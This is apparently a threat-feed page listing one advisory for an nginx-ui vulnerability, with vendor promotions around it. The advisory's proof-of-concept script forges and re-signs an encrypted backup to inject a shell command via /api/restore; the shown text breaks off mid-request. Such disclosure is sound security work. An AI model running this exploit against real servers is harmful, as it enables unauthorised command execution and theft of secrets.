Skip to main content

Threats Tagged 'cve-2026-107806'

View all threats tagged with 'cve-2026-107806'. Filter and sort to focus on specific types of threats.

Pro Console Lifetime

Stop chasing alerts. Route them.

Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.

Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)

View Plans & Pricing

API access activates after upgrading in Console -> Billing.

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now

Filter Threats

Narrow down the results by type, severity, or affected countries

Search threats by title, CVE ID, or description. Maximum 100 characters.
Active filters (1):Tag: cve-2026-107806

Threats Tagged 'cve-2026-107806'

Click on any threat for detailed analysis and mitigation recommendations

## Summary An authenticated nginx-ui user can call `POST /api/restore`, upload a forged encrypted backup, restore `app.ini`, set nginx command settings such as `TestConfigCmd`, and then trigger command execution with `POST /api/nginx/test`. This was validated on nginx-ui `2.3.11 2(523) 6c86e5a5` in the local Docker container `uozi/nginx-ui:latest`. ## Impact An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored `app.ini`, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands. ## Affected Version / Environment - Version: `nginx-ui 2.3.11 2(523) 6c86e5a5` - Deployment: local Docker, `uozi/nginx-ui:latest` - Base URL used in validation: `http://127.0.0.1:8080` ## Root Cause `/api/restore` is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored `app.ini` into the live nginx-ui config path. Relevant code paths: - `api/backup/router.go`: `POST /api/restore` - `api/backup/restore.go`: accepts `security_token` and uploaded backup file - `internal/backup/manifest.go`: derives backup signing key from supplied AES key - `internal/backup/restore.go`: `restoreNginxUIConfig` overwrites live `app.ini` - `internal/nginx/exec.go`: nginx command settings execute through shell-backed command paths ## Proof of Concept Assumptions: - nginx-ui is already running. - `$TOKEN` is a valid user JWT. - `$CONTAINER` is the local disposable Docker container name for cleanup and evidence checks. ```bash export BASE='http://127.0.0.1:8080' export TOKEN='<valid nginx-ui JWT>' export CONTAINER='nginx-ui' ``` Run only against a disposable local instance. ```bash set -eu TMP=$(mktemp -d) trap 'rm -rf "$TMP"' EXIT docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original" curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \ -H "Authorization: $TOKEN" \ "$BASE/api/backup" SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers") KEY_B64=${SEC%%:*} IV_B64=${SEC#*:} KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256) IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256) mkdir -p "$TMP/outer" "$TMP/inner" unzip -q "$TMP/backup.zip" -d "$TMP/outer" openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \ -in "$TMP/outer/nginx-ui.zip" \ -out "$TMP/nginx-ui.clear.zip" unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner" python3 - "$TMP/inner/app.ini" <<'PY' from pathlib import Path import sys p = Path(sys.argv[1]) cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce" lines = p.read_text().splitlines() out = [] in_nginx = False seen_nginx = False written = False for line in lines: s = line.strip() if s.startswith("[") and s.endswith("]"): if in_nginx and not written: out.append(cmd) written = True in_nginx = s.lower() == "[nginx]" seen_nginx = seen_nginx or in_nginx if in_nginx and s.startswith("TestConfigCmd"): if not written: out.append(cmd) written = True continue out.append(line) if in_nginx and not written: out.append(cmd) elif not seen_nginx: out.extend(["", "[nginx]", cmd]) p.write_text("\n".join(out) + "\n") PY (cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .) openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \ -in "$TMP/nginx-ui.modified.clear.zip" \ -out "$TMP/outer/nginx-ui.zip" OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY' from pathlib import Path import base64 import hashlib import hmac import json import os outer = Path(os.environ["OUTER"]) key = base64.b64decode(os.environ["KEY_B64"]) manifest = json.loads((outer / "manifest.json").read_text()) for entry in manifest["files"]: data = (outer / entry["name"]).read_bytes() entry["sha256"] = hashlib.sha256(data).hexdigest() entry["size"] = len(data) manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"]) manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode() (outer / "manifest.json").write_bytes(manifest_bytes) signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest() (outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()) PY (cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json) curl -sS -X POST "$BASE/api/restore" \ -H "Authorization: $TOKEN" \ -F "res

Join the discussion

Showing 1 to 1 of 1 result

Filters:Tag: cve-2026-107806
Page 1 of 1
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses